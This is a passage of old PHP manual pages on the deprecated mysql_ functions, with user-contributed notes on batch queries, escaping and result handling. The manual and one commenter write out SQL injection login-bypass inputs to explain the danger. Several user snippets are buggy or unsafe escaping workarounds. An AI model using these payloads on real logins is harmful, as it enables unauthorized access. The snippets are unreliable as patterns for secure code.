Just thought id post this as i couldnt find a nice and simple way of dumping data from a mysql database and all the functions i found were way overly complicated so i wrote this one and thought id post it for others to use.

//$link is the link to the database file
//$db_name is the name of the database you want to dump
//$current_time is just a reference of time()

//returns $thesql which is a string of all the insert into statements

function dumpData()
{
global $link,$db_name,$current_time;
$thesql="";
$thesql.="#SQL DATA FOR $mdb_name \n";
$thesql.="#BACK UP DATE ". date("d/m/Y G:i.s",$current_time)." \n";
$result = mysql_list_tables($mdb_name);
while ($row = mysql_fetch_row($result))
    {
    $getdata=mysql_query("SELECT * FROM $row[0]");
    while ($row1=mysql_fetch_array($getdata))
        {
        $thesql.="INSERT INTO `$row[0]` VALUES (";
        $getcols = mysql_list_fields($mdb_name,$row[0],$link);
            for($c=0;$c<mysql_num_fields($getcols);$c++)
                {
                if (strstr(mysql_field_type($getdata,$c),'blob')) $row1[$c]=bin2hex($row1[$c]);
                //Binary null fix if ever needed
                if ($row1[$c]=="0x") $row1[$c]="0x1";

                //delimit the apostrophies for mysql compatability
                $row1[$c]=str_replace("'","''",$row1[$c]);
                if (strstr(mysql_field_type($getdata,$c),'blob'))
                $thesql.="0x$row1[$c]";
                else
                $thesql.="'$row1[$c]'";
                if ($c<mysql_num_fields($getcols)-1) $thesql.=",";
                }
            $thesql.=");;\n";
        }
    }
return $thesql;
}

Please note the sql statements are terminated with ;; not a ; this is so when you want to do a multiple query you can tokenise the sql string with a ;; which allows your data to contain a ;

If you want to run the multiple query then use this simple function which i wrote due to not being able to find a decent way of doing it

//$q is the query string ($thesql returned string)
//$link is the link to the database connection
//returns true or false depending on whether a single query is executed allows you to check to see if any queries were ran

function multiple_query($q,$link)
    {
    $tok = strtok($q, ";;\n");
    while ($tok)
        {
        $results=mysql_query("$tok",$link);
        $tok = strtok(";;\n");
        }
    return $results;
    }
Predrag Supurovic 01-Dec-2003 01:52
If you need to execute sevaral SQL commands in a row (usually called batcg SQL) using PHP you canot use mysql_query() since it can execute single command only.

Here is simple but effective function that can run batch SQL commands. Take cere, if string contains semicolon (;) anywhere except as command delimiter (within string expression for example) function will not work.

function mysql_exec_batch ($p_query, $p_transaction_safe = true) {
  if ($p_transaction_safe) {
      $p_query = 'START TRANSACTION;' . $p_query . '; COMMIT;';
    };
  $query_split = preg_split ("/[;]+/", $p_query);
  foreach ($query_split as $command_line) {
    $command_line = trim($command_line);
    if ($command_line != '') {
      $query_result = mysql_query($command_line);
      if ($query_result == 0) {
        break;
      };
    };
  };
  return $query_result;
}
chris at hotmail dot com 01-May-2003 03:28
Windows programmers, keep in mind that although table names in Windows queries are not case sensitive, many *NIX versions of Mysql require the correct table name case (perhaps others as well). So you're better off using the right case from the beginning, in case you ever decide to go with a *NIX server.
davidc at edeca dot net 19-Apr-2003 09:30
Regarding the idea for returning all possible values of an enum field, the mySQL manual says that "SHOW COLUMNS FROM table LIKE column" should be used to do this.

The function below (presumes db connection) will return an array of the possible values of an enum.

function GetEnumValues($Table,$Column)
    {
    $dbSQL = "SHOW COLUMNS FROM ".$Table." LIKE '".$Column."'";
    $dbQuery = mysql_query($dbSQL);

    $dbRow = mysql_fetch_assoc($dbQuery);
    $EnumValues = $dbRow["Type"];

    $EnumValues = substr($EnumValues, 6, strlen($EnumValues)-8);
    $EnumValues = str_replace("','",",",$EnumValues);

    return explode(",",$EnumValues);
    }

Cavaets:

1) If the LIKE matches more than one column you get the enum from the first, so be careful with the $Column argument
2) You can't have ',' as part of one of the enums (I guess mySQL would escape this, but I haven't tried)
3) If the field isn't an enum you'll get garbage back!

This is just a quick example to show how to do it, some tidying up needs to be done (ie checking if the field is actually an enum) before it is perfect.
09-Apr-2003 09:43
Until this function prohibits them, watch out for SQL comments (--) in your input.
allen a brooker gb net 28-Mar-2003 02:35
One way to reduce the dangers of queries like the dlete command above that dletes the whole DB is to use limits wherever possible.

EG. If you have a routine that is only deisnged to delete 1 record, add 'LIMIT 1' to the end of the command. This way you'll only lose one record if someone does something stupid.

You should also check all input, especially if it is sent using GET. ie. make sure that $_GET['id'] is not NULL or == "", is a number that is positive, not 0 (generally, I know this doesn't apply to some table types, but it applies to the default) and is within the valid range for that field.

Just don't trust ANY data that is sent to your script.

HTH
Allen
nikhil-php at nols dot com 02-Jan-2000 09:38
When trying to INSERT or UPDATE and trying to put a large amount of text or data (blob) into a mysql table you might run into problems.

In mysql.err you might see:
Packet too large (73904)

To fix you just have to start up mysql with the option -O max_allowed_packet=maxsize

You would just replace maxsize with the max size you want to insert, the default is 65536


Escapes special characters in a string for use in an SQL statement

  • « mysql_query
  • mysql_result »
  • PHP Manual
  • MySQL Functions
  • Escapes special characters in a string for use in an SQL statement

mysql_real_escape_string

(PHP 4 >= 4.3.0, PHP 5)

mysql_real_escape_string — Escapes special characters in a string for use in an SQL statement

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_real_escape_string()
  • PDO::quote()

Description

string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier = NULL ] )

Escapes special characters in the unescaped_string, taking into account the current character set of the connection so that it is safe to place it in a mysql_query(). If binary data is to be inserted, this function must be used.

mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

This function must always (with few exceptions) be used to make data safe before sending a query to MySQL.

Caution

Security: the default character set

The character set must be set either at the server level, or with the API function mysql_set_charset() for it to affect mysql_real_escape_string(). See the concepts section on character sets for more information.

Parameters

unescaped_string

The string that is to be escaped.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the escaped string, or FALSE on error.

Examples

Example #1 Simple mysql_real_escape_string() example

<?php
// Connect
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
    OR die(mysql_error());

// Query
$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",
            mysql_real_escape_string($user),
            mysql_real_escape_string($password));
?>

Example #2 An example SQL Injection Attack

<?php
// We didn't check $_POST['password'], it could be anything the user wanted! For example:
$_POST['username'] = 'aidan';
$_POST['password'] = "' OR ''='";

// Query database to check if there are any matching users
$query = "SELECT * FROM users WHERE user='{$_POST['username']}' AND password='{$_POST['password']}'";
mysql_query($query);

// This means the query sent to MySQL would be:
echo $query;
?>

The query sent to MySQL:

SELECT * FROM users WHERE user='aidan' AND password='' OR ''=''

This would allow anyone to log in without a valid password.

Notes

Note:

A MySQL connection is required before using mysql_real_escape_string() otherwise an error of level E_WARNING is generated, and FALSE is returned. If link_identifier isn't defined, the last MySQL connection is used.

Note:

If magic_quotes_gpc is enabled, first apply stripslashes() to the data. Using this function on data which has already been escaped will escape the data twice.

Note:

If this function is not used to escape data, the query is vulnerable to SQL Injection Attacks.

Note: mysql_real_escape_string() does not escape % and _. These are wildcards in MySQL if combined with LIKE, GRANT, or REVOKE.

See Also

  • mysql_set_charset() - Sets the client character set
  • mysql_client_encoding() - Returns the name of the character set
  • addslashes() - Quote string with slashes
  • stripslashes() - Un-quotes a quoted string
  • The magic_quotes_gpc directive
  • The magic_quotes_runtime directive

User Contributed Notes

mahdi 21-Jun-2013 01:15
function clean($str) {
 $cleaned = strip_tags($str);
 $cleaned = htmlspecialchars(mysql_real_escape_string($cleaned));

 return $cleaned;}
dinho19sp at gmail dot com 20-Apr-2013 07:48
I use de form very simply on $ _REQUEST [], and I have no problems

  function objSqlRequest($StringVar){

        if(isset($_REQUEST[$StringVar])){

            $StringVar =  $_REQUEST[$StringVar];

        }

        return mysql_real_escape_string(trim($StringVar));

    }
sam at numbsafari dot com 20-Oct-2012 02:33
No discussion of escaping is complete without telling everyone that you should basically never use external input to generate interpreted code. This goes for SQL statements, or anything you would call any sort of "eval" function on.

So, instead of using this terribly broken function, use parametric prepared statements instead.

Honestly, using user provided data to compose SQL statements should be considered professional negligence and you should be held accountable by your employer or client for not using parametric prepared statements.

What does that mean?

It means instead of building a SQL statement like this:

"INSERT INTO X (A) VALUES(".$_POST["a"].")"

You should use mysqli's prepare() function (http://php.net/manual/en/mysqli.prepare.php) to execute a statement that looks like this:

"INSERT INTO X (A) VALUES(?)"

NB: This doesn't mean you should never generate dynamic SQL statements. What it means is that you should never use user-provided data to generate those statements. Any user-provided data should be passed through as parameters to the statement after it has been prepared.

So, for example, if you are building up a little framework and want to do an insert to a table based on the request URI, it's in your best interest to not take the $_SERVER['REQUEST_URI'] value (or any part of it) and directly concatenate that with your query. Instead,  you should parse out the portion of the $_SERVER['REQUEST_URI'] value that you want, and map that through some kind of function or associative array to a non-user provided value. If the mapping produces no value, you know that something is wrong with the user provided data.

Failing to follow this has been the cause of a number of SQL-injection problems in the Ruby On Rails framework, even though it uses parametric prepared statements. This is how GitHub was hacked at one point. So, no language is immune to this problem. That's why this is a general best practice and not something specific to PHP and why you should REALLY adopt it.

Also, you should still do some kind of validation of the data provided by users, even when using parametric prepared statements. This is because that user-provided data will often become part of some generated HTML, and you want to ensure that the user provided data isn't going to cause security problems in the browser.
Walter Tross 30-Mar-2012 11:20
For further information:
http://dev.mysql.com/doc/refman/5.5/en/mysql-real-escape-string.html
(replace your MySQL version in the URL)
Ortreum 16-Feb-2012 02:35
This small function walks through a complete array without a "normal" loop and convert all potentially "bad" inputs like $_POST and $_GET to mysql conform strings.

<?php
function db_conform($s)
{
    if (!is_array($s)) mysql_real_escape_string($s);
    function db_conform_array_callback(&$item, $key) { echo $key; $item = db_conform($item); }
    array_walk($s, 'db_conform_array_callback');
    return $s;
}

$_POST = db_conform($_POST);
?>
jeff at lindenlab dot com 14-Feb-2012 10:35
Yes, this means that you have to start a connection before you can escape data... you can't escape the data first, and then use it to build your SQL, and then connect.

Be aware of this when you're designing objects and architecture.
ovoznyak at gmail dot com 07-Jan-2012 12:25
Function safe_string_escape($str) above is not properly working when $str is numeric (not string).

For example, when call them as safe_string_escape((int) 12), it returns empty string. At the same time mysql_real_escape_string() returns 12.

So, it is safe to add $str = (string) $str; in the begin of function.
Anonymous 05-Oct-2011 12:34
If you try to escape a string which contains signs such as ’ or " and it doesnt work, check your website/file charset! Maybe it is NOT utf-8 ;)
upadrian at gmail dot com 05-Aug-2011 07:28
<?php
/**
 * @author upadrian@gmail.com
 * Simplified version for array escape using mysql_real_escape_string
 * for db store. Key names are not escaped beacuse i don't plain to
 * include in a sql.
 *
*/

function mres($q) {
    if(is_array($q))
        foreach($q as $k => $v)
            $q[$k] = mres($v); //recursive
    elseif(is_string($q))
        $q = mysql_real_escape_string($q);
    return $q;
}

?>
stefan dot van dot beusekom at gmail dot com 31-Jan-2011 02:36
Following is a recursive function that makes all the strings it finds safe for data entry. If the underlying value is an array, it will loop through that array as well, to inifity. So any array depth is allowed. This might come in handy when dealing with sessions, posts, gets or whatnot arrays, where you immediately want to make use of the data without having to filter the data first.

<?php
        /*
         * Created by: Stefan van Beusekom
         * Created on: 31-01-2011
         * Description: A method that ensures safe data entry, and accepts either strings or arrays. If the array is multidimensional,
         *                     it will recursively loop through the array and make all points of data safe for entry.
         * parameters: string or array;
         * return: string or array;
         */
        public function filterParameters($array) {

            // Check if the parameter is an array
            if(is_array($array)) {
                // Loop through the initial dimension
                foreach($array as $key => $value) {
                    // Check if any nodes are arrays themselves
                    if(is_array($array[$key]))
                        // If they are, let the function call itself over that particular node
                        $array[$key] = $this->filterParameters($array[$key]);

                    // Check if the nodes are strings
                    if(is_string($array[$key]))
                        // If they are, perform the real escape function over the selected node
                        $array[$key] = mysql_real_escape_string($array[$key]);
                }
            }
            // Check if the parameter is a string
            if(is_string($array))
                // If it is, perform a  mysql_real_escape_string on the parameter
                $array = mysql_real_escape_string($array);

            // Return the filtered result
            return $array;

        }

?>
feedr 05-Dec-2010 05:38
Just a little function which mimics the original mysql_real_escape_string but which doesn't need an active mysql connection. Could be implemented as a static function in a database class. Hope it helps someone.

<?php
function mysql_escape_mimic($inp) {
    if(is_array($inp))
        return array_map(__METHOD__, $inp);

    if(!empty($inp) && is_string($inp)) {
        return str_replace(array('\\', "\0", "\n", "\r", "'", '"', "\x1a"), array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z'), $inp);
    }

    return $inp;
}
?>
Anonymous 11-Nov-2010 06:44
calling this function twice, or on a string for which quotes have already been escaped, causes the quotes to be escaped twice.An example is where we have to check for magic_quotes_gpc  before calling mysql_escape_string to sanitize the inputs.

The following function can be used to escape singe and double quotes in a string with out the risk of escaping quotes twice.This function  escapes a quote, only if it hasn't already been escaped.

<?php
function safe_string_escape($str)
{
   $len=strlen($str);
    $escapeCount=0;
    $targetString='';
    for($offset=0;$offset<$len;$offset++) {
        switch($c=$str{$offset}) {
            case "'":
            // Escapes this quote only if its not preceded by an unescaped backslash
                    if($escapeCount % 2 == 0) $targetString.="\\";
                    $escapeCount=0;
                    $targetString.=$c;
                    break;
            case '"':
            // Escapes this quote only if its not preceded by an unescaped backslash
                    if($escapeCount % 2 == 0) $targetString.="\\";
                    $escapeCount=0;
                    $targetString.=$c;
                    break;
            case '\\':
                    $escapeCount++;
                    $targetString.=$c;
                    break;
            default:
                    $escapeCount=0;
                    $targetString.=$c;
        }
    }
    return $targetString;
}
echo safe_string_escape("asda'sda\'dsad\"sadasd'");
?>

above code echoes

asda\'sda\'dsad\"sadasd\'

You can see that the second single quote wasnt escaped again..
m-t at live dot fr 17-Oct-2010 06:30
You should use mysql_real_escape_string only before inserting the data into your table, otherwise you could just use this function :

function reverse_escape($str)
{
  $search=array("\\\\","\\0","\\n","\\r","\Z","\'",'\"');
  $replace=array("\\","\0","\n","\r","\x1a","'",'"');
  return str_replace($search,$replace,$str);
}
anonymous at host dot com 16-Sep-2010 11:28
You can also use the escape function in a manner as shown in the snapshot out of my own browsertools class:

<?php
//
// MySQL Database connection
//
public function mysqlConnect($host, $user, $password, $database) {
    $this->mysql = mysql_connect($host, $user, $password);
    if (!$this->mysql) die(mysql_error());
    mysql_select_db($database, $this->mysql);
}

//
// MySQL Query
// usage:
//    $query such as "SELECT * FROM users WHERE nick = '%s' AND pass = '%s'"
//      where %s are the placeholders for the parameters
// call:
//    $__->mysqlQuery( $query, arg0, arg1, arg2, ... )
// description:
//    The parameters given to the function are escaped through mysql_real_escape_string(),
//    merged with the query and then given to the mysql_query function.
// returns:
//    Array of lines returned by the MySQL Database
//
public function mysqlQuery($query) {
    $numParams = func_num_args();
    $params = func_get_args();

    if ($numParams > 1) {
        for ($i = 1; $i < $numParams; $i++){
            $params[$i] = mysql_real_escape_string($params[$i]);
        }

        $query = call_user_func_array('sprintf', $params);
    }

    $this->result = mysql_query($query, $this->mysql);
    if (!$this->result) die(mysql_error());
    $ret = array();
    while ($row = mysql_fetch_assoc($this->result)) {
        $ret[] = $row;
    }
    mysql_free_result($this->result);
    return $ret;
}
?>
paralescuoctavian at gmail dot com 12-Sep-2010 02:28
Also don't forget to escape $_COOKIE array before quering the database. In firefox you can edit cookies and insert and inject harmful sql queries.

<?php
  foreach ($_COOKIE as $key => $value) {
    if(get_magic_quotes_gpc()) $_COOKIE[$key]=stripslashes($value);
    $_COOKIE[$key] = mysql_real_escape_string($value);
  }
?>
adelbenzarti at yahoo dot fr 19-Jun-2010 12:05
The function mysql_real_escape_string helps the developer to insert data without having troubles in the process or having risks of SQL Injection.
You can develop a similar function :
<?php
        function escape($str)
        {
                $search=array("\\","\0","\n","\r","\x1a","'",'"');
                $replace=array("\\\\","\\0","\\n","\\r","\Z","\'",'\"');
                return str_replace($search,$replace,$str);
        }
?>
manixrock -~- gmail ~-~ com 17-May-2010 01:07
I've come up with an easy way to more easily escape things in an sql query. The simpler things are, the lower the chance that you'll forget to escape something. I use a helper class:

<?php
class MysqlStringEscaper
{
    function __get($value)
    {
        return mysql_real_escape_string($value);
    }
}
$str = new MysqlStringEscaper;
?>

then whenever I run a query I can simply do:

<?php
mysql_query("SELECT * FROM users WHERE name LIKE '{$str->$name}' LIMIT 10");
?>

This way it's easy to see what the variable is escaped as (other instances like $int or $list could be implemented), it's inline and it only changes the variable when it's inserted into the query.
gustavo639 at gmail dot com 25-Feb-2010 04:17
I use:

<?php
public static function escaparParametros(){
        $numParametros = func_num_args();
        $parametros = func_get_args();

        for ($i = 0; $i < $numParametros; $i++){
            $parametros[$i] = mysql_real_escape_string($parametros[$i]);
        }

        return $parametros;
    }
?>
root at aeze dot ru 24-Feb-2010 06:42
Here my simple but very effective function for safe mysql queries.

<?php
/**
* USAGE: mysql_safe( string $query [, array $params ] )
* $query - SQL query WITHOUT any user-entered parameters. Replace parameters with "?"
*     e.g. $query = "SELECT date from history WHERE login = ?"
* $params - array of parameters
*
* Example:
*    mysql_safe( "SELECT secret FROM db WHERE login = ?", array($login) );    # one parameter
*    mysql_safe( "SELECT secret FROM db WHERE login = ? AND password = ?", array($login, $password) );    # multiple parameters
* That will result safe query to MySQL with escaped $login and $password.
**/
function mysql_safe($query,$params=false) {
    if ($params) {
        foreach ($params as &$v) { $v = mysql_real_escape_string($v); }    # Escaping parameters
        # str_replace - replacing ? -> %s. %s is ugly in raw sql query
        # vsprintf - replacing all %s to parameters
        $sql_query = vsprintf( str_replace("?","'%s'",$query), $params );
        $sql_query = mysql_query($sql_query);    # Perfoming escaped query
    } else {
        $sql_query = mysql_query($query);    # If no params...
    }

    return ($sql_query);
}
?>
presto dot dk at gmail dot com 28-Jan-2010 04:05
If you want to make sure that the ID you're using to do a query is a number, use sprint() of (int) or intval(), but don't use mysql_real_escape_string.

There is no difference between ISO-8859-1's number 10 and UTF-8's number 10.
strata_ranger at hotmail dot com 08-Dec-2009 08:17
There's an interesting quirk in the example #2 about SQL injection:  AND takes priority over OR, so the injected query actually executes as WHERE (user='aidan' AND password='') OR ''='', so instead of returning a database record corresponding to an arbitrary username (in this case 'aidan'), it would actually return ALL database records.  In no particular order.  So an attacker might be able to log in as any account, but not necessarily with any control over which account it is.

Of course a potential attacker could simply modify their parameters to target specific users of interest:

<?php

// E.g. attacker's values
$_POST['username'] = '';
$_POST['password'] = "' OR user = 'administrator' AND '' = '";

// Malformed query
$query = "SELECT * FROM users WHERE user='$_POST[username]' AND password='$_POST[password]'";

echo $query;

// The query sent to MySQL would read:
// SELECT * FROM users WHERE user='' AND password='' OR user='administrator' AND ''='';
// which would allow anyone to gain access to the account named 'administrator'

?>
Anonymous 02-Aug-2009 12:45
I use the following code in my database connection include file (which is of course called at the start of every page that needs to do some SQL)...
Therefore, all POST and GET vars are automatically escaped before being used anywhere in SQL statements.

<?php
  //This stops SQL Injection in POST vars
  foreach ($_POST as $key => $value) {
    $_POST[$key] = mysql_real_escape_string($value);
  }

  //This stops SQL Injection in GET vars
  foreach ($_GET as $key => $value) {
    $_GET[$key] = mysql_real_escape_string($value);
  }
?>
plgs at ozemail dot com dot au 27-Jul-2009 10:05
Don't forget that if you're using Mysqli (ie, the "improved" Mysql extension) then you need to use the corresponding mysqli function mysqli_real_escape_string().  The parameter order is also different.
Anonymous 13-Jul-2009 05:30
It is because you swapped $key and $item:

Just change this:
<?php
  function mysql_safe ( $item, $key, $type )
  ?>

To:

<?php
        function mysql_safe ( $key, $item, $type )
?>

And it will work as expected.
isaacs dot brian dot c at gmail dot com 12-Jul-2009 08:06
I had wanted to see the merits of dynamically and "automatically" applying mysql_real_escape_string() to $_GET and $_POST as arrays rather than manually each time I would type up a query. I used array_walk_recursive() to call my function "mysql_safe" to apply mysql_real_escape_string() to each key of the $_GET and $_POST arrays.

My function is part of a class, and it is called each time I connect to the database to perform a query:

<?php
class MyClass {
        function mysql_safe ( $key, $item, $type )
        {
            switch( $type )
            {
                case 'get':
                    if( count( $_GET ) > 0 )
                    {
                        $_GET[$item] = mysql_real_escape_string( $key );
                    }
                break;
                case 'post':
                    if( count( $_POST ) > 0 )
                    {
                        $_POST[$item] = mysql_real_escape_string( $key );
                    }
                break;
            }
        }

        function safe_get ( )
        {
            #Flag to only run function once
            if( $this->get_flag == true ) { return true; }

            array_walk_recursive( $_GET, array( $this, 'mysql_safe' ), 'get' );
            array_walk_recursive( $_POST, array( $this, 'mysql_safe' ), 'post' );

            $this->get_flag = true;
        }
}
?>

However, after using this function, I find that it does indeed work, it also creates new $_GET and $_POST values in which $item and $key are swapped. So I end up with $_GET[$item] = $key, as well as $_GET[$key] = $item. I have not yet determined if this is due to the actual coding itself, or my particular method of implementation.

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "Anonymous" on 13-JUL-09 to reorder the user function parameters.]
info at saturnprods dot com 13-Jun-2009 09:37
I always use this function so I don't have to retype over and over the mysql_real_escape_string function.

<?php
function safe($value){
   return mysql_real_escape_string($value);
}
?>

Then, when I am using my code, I simply use:

<?php
$name = safe($_POST["name"]);
$password = safe($_POST["password"]);
?>
kendsnyder at gmail dot com 25-Mar-2009 10:07
<?php

// Here is a simple named binding function for queries that makes SQL more readable:
// $sql = "SELECT * FROM users WHERE user = :user AND password = :password";
// mysql_bind($sql, array('user' => $user, 'password' => $password));
// mysql_query($sql);

function mysql_bind(&$sql, $vals) {
    foreach ($vals as $name => $val) {
        $sql = str_replace(":$name", "'" . mysql_real_escape_string($val) . "'", $sql);
    }
}

?>
Bastiaan Welmers 24-Mar-2008 08:46
This function won't help you when inserting binary data, to me it will get mallformed into the database. Probably UTF-8 combinations will be translated by this function or somewhere else when inserting data when running mysql in UTF-8 mode.

A better way to insert binary data is to transfer it to hexadecimal notation like this example:

<?php
$string = $_REQUEST['string'];
$binary = file_get_contents($_FILE['file']['tmp_name']);

$string = mysql_real_escape_string($string);
$binary_hex = bin2hex($binary);

$query = "INSERT INTO `table` (`key`, `string`, `binary`, `other`) VALUES (NULL, '$string', 0x$binary_hex, '$other')";

?>
Anonymous 03-Mar-2008 07:57
My escape function:

Automatically adds quotes (unless $quotes is false), but only for strings. Null values are converted to mysql keyword "null", booleans are converted to 1 or 0, and numbers are left alone. Also can escape a single variable or recursively escape an array of unlimited depth.

<?php
function db_escape($values, $quotes = true) {
    if (is_array($values)) {
        foreach ($values as $key => $value) {
            $values[$key] = db_escape($value, $quotes);
        }
    }
    else if ($values === null) {
        $values = 'NULL';
    }
    else if (is_bool($values)) {
        $values = $values ? 1 : 0;
    }
    else if (!is_numeric($values)) {
        $values = mysql_real_escape_string($values);
        if ($quotes) {
            $values = '"' . $values . '"';
        }
    }
    return $values;
}
?>
matthijs at yourmediafactory dot com 27-Dec-2007 10:49
In response to Michael D - DigitalGemstones.com:

Check the example again: sprintf(%d) already does the int conversion for you, so it's both perfectly save as well as more elegant than manually casting.
user at NOSPAM dot example dot com 28-Aug-2007 02:16
if you're doing a mysql wildcard query with
LIKE, GRANT, or REVOKE
you may use addcslashes to escape the string:

<?php
$param = mysql_real_escape_string($param);
$param = addcslashes($param, '%_');
?>
brian dot folts at gmail dot com 06-Sep-2006 06:25
mysql_real_escape_string is a bit annoying when you need to do it over an array.

<?php
function mysql_real_escape_array($t){
    return array_map("mysql_real_escape_string",$t);
}
?>

this one just mysql_real_escape's the whole array.

ex) <?php $_POST=mysql_real_escape_array($_POST); ?>

and then you dont have to worry about forgetting to do this.
kael dot shipman at DONTSPAMIT! dot gmail dot com 18-Jul-2006 10:19
It seems to me that you could avoid many hassels by loading valid database values into an array at the beginning of the script, then instead of using user input to query the database directly, use it to query the array you've created. For example:

<?php
//you still have to query safely, so always use cleanup functions like eric256's
$categories = sql_query("select catName from categories where pageID = ?",$_GET['pageID']);
while ($cts = @mysql_fetch_row($categories)) {
 //making $cts both the name and the value of the array variable makes it easier to check for in the future.
 //obviously, this naming system wouldn't work for a multidimensional array
 $cat_ar[$cts[0]] = $cts[0];
}
...

//user selects sorting criteria
//this would be from a query string like '?cats[]=cha&cats[]=fah&cats[]=lah&cats[]=badValue...', etc.
$cats = $_GET['cats'];

//verify that values exist in database before building sorting query
foreach($cats as $c) {
 if ($cat_ar[$c]) { //instead of in_array(); maybe I'm just lazy... (see above note)
  $cats1[] = "'".mysql_real_escape_string($c)."'";
 }
}
$cats = $cats1;
//$cats now contains the filtered and escaped values of the query string

$cat_query = '&& (category_name = \''.implode(' || category_name = \'',$cats).'\')';
//build a sql query insert
//$cat_query is now "&& (category_name = 'cha' || category_name = 'fah' || category_name = 'lah')" - badValue has been removed
//since all values have already been verified and escaped, you can simply use them in a query
//however, since $pageID hasn't been cleaned for this query, you still have to use your cleaning function
$items = sql_query("SELECT * FROM items i, categories c WHERE i.catID = c.catID && pageID = ? $cat_query", $pageID);
nicolas 30-May-2006 10:38
Note that mysql_real_escape_string doesn't prepend backslashes to \x00, \n, \r, and and \x1a as mentionned in the documentation, but actually replaces the character with a MySQL acceptable representation for queries (e.g. \n is replaced with the '\n' litteral). (\, ', and " are escaped as documented) This doesn't change how you should use this function, but I think it's good to know.


Get result data

  • « mysql_real_escape_string
  • mysql_select_db »
  • PHP Manual
  • MySQL Functions
  • Get result data

mysql_result

(PHP 4, PHP 5)

mysql_result — Get result data

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_data_seek() in conjunction with
mysqli_field_seek() and
mysqli_fetch_field()
  • PDOStatement::fetchColumn()

Description

string mysql_result ( resource $result , int $row [, mixed $field = 0 ] )

Retrieves the contents of one cell from a MySQL result set.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than mysql_result(). Also, note that specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

row

The row number from the result that's being retrieved. Row numbers start at 0.

field

The name or offset of the field being retrieved.

It can be the field's offset, the field's name, or the field's table dot field name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name. If undefined, the first field is retrieved.

Return Values

The contents of one cell from a MySQL result set on success, or FALSE on failure.

Examples

Example #1 mysql_result() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
if (!mysql_select_db('database_name')) {
    die('Could not select database: ' . mysql_error());
}
$result = mysql_query('SELECT name FROM work.employee');
if (!$result) {
    die('Could not query:' . mysql_error());
}
echo mysql_result($result, 2); // outputs third employee's name

mysql_close($link);
?>

Notes

Note:

Calls to mysql_result() should not be mixed with calls to other functions that deal with the result set.

See Also

  • mysql_fetch_row() - Get a result row as an enumerated array
  • mysql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_fetch_object() - Fetch a result row as an object

User Contributed Notes

harmmeiier at gmail dot com 11-Jun-2014 12:30
An example of how to easily port this to mysqli would be nice instead of some links to functions that don't really do what this function does.
bruce at kaskubar dot com 29-Apr-2011 03:30
The warning against mixing the use of mysql_result with other result set functions is a bit generic. More specifically, mysql_result alters the result set's internal row pointer (at least in a LAMP environment). This is anything but obvious as the nature of the function is random access for grabbing a quick byte. Using mysql_data_seek after some mysql_result calls, before going into a mysql_fetch_array loop, will set things straight.
DJK 06-Oct-2009 11:00
Note that mysql_result affects the internal pointer used by mysql_fetch_*

<?php
$res = mysql_query('SELECT a,b FROM ab');
echo mysql_result($res,0,0);
print_r(mysql_fetch_assoc($res));
?>

In the above example, the call to mysql_fetch_assoc would return the SECOND result, not the first as (I) expected.

Use mysql_data_seek($res,0) to reset the result set.
adam dot chou at gmail dot com 06-Oct-2008 11:49
mysql_result() will throw E_WARNING if mysql_query returns 0 rows. This is unlike any of the mysql_fetch_* functions so be careful of this if you have E_WARNING turned on in error_reporting(). You might want to check mysql_num_rows() before calling mysql_result()
djurredenboer at hotmail dot com 11-May-2007 09:08
<?
$link = mysql_connect("host", "user", "passw");
mysql_select_db("database", $link);
$number = 3;
$insert = mysql_query("SELECT `test1`.*, `test2`.*,
FROM `test1`, `test2`, `
WHERE ((`test1`.`author` = `test2`.`ID`) AND (`test2`.`ID` ='$number'))
ORDER BY `toetsen`.`autoID` DESC",$link);

 echo mysql_result( $insert , 0, 'test1.question') ;

#here he echoes the questions the stuff out of the first table

echo mysql_result( $insert , 0, 'test2.name') ;

#here he echoes the questions the stuff out of the second table
?>
erelsgl dot NOSPAM at cs dot technion dot ac dot il 12-Sep-2006 01:18
two simple but very useful functions, for converting a query to a value or an array:

<?php
function mysql_evaluate($query, $default_value="undefined") {
    $result = mysql_query($query);
    if (mysql_num_rows($result)==0)
        return $default_value;
    else
        return mysql_result($result,0);
}

function mysql_evaluate_array($query) {
    $result = mysql_query($query);
    $values = array();
    for ($i=0; $i<mysql_num_rows($result); ++$i)
        array_push($values, mysql_result($result,$i));
    return $values;
}
?>

http://tora.us.fm/_script/highlight.php?file=sql

Usage examples:

<?php
 $customer_count = mysql_evaluate("SELECT COUNT(*) FROM customers");
 $customer_names = mysql_evaluate_array("SELECT name FROM customers");

$customer_type = mysql_evaluate("SELECT type FROM customers WHERE name='$name'", "DEFAULT_TYPE");
?>
raz0 at NOSPAM dot worldonline dot dk 23-Aug-2003 07:42
If you want to fetch the result from a mysql query similar to one of these two queries...

$query = mysql_query("SELECT COUNT(*) FROM table");
$query = mysql_query("SELECT LAST_INSERT_ID()");

... you would use mysql_result() like shown below to retrieve the output as an int.

$result = mysql_result($query, 0, 0);


Select a MySQL database

  • « mysql_result
  • mysql_set_charset »
  • PHP Manual
  • MySQL Functions
  • Select a MySQL database

mysql_select_db

(PHP 4, PHP 5)

mysql_select_db — Select a MySQL database

Warning

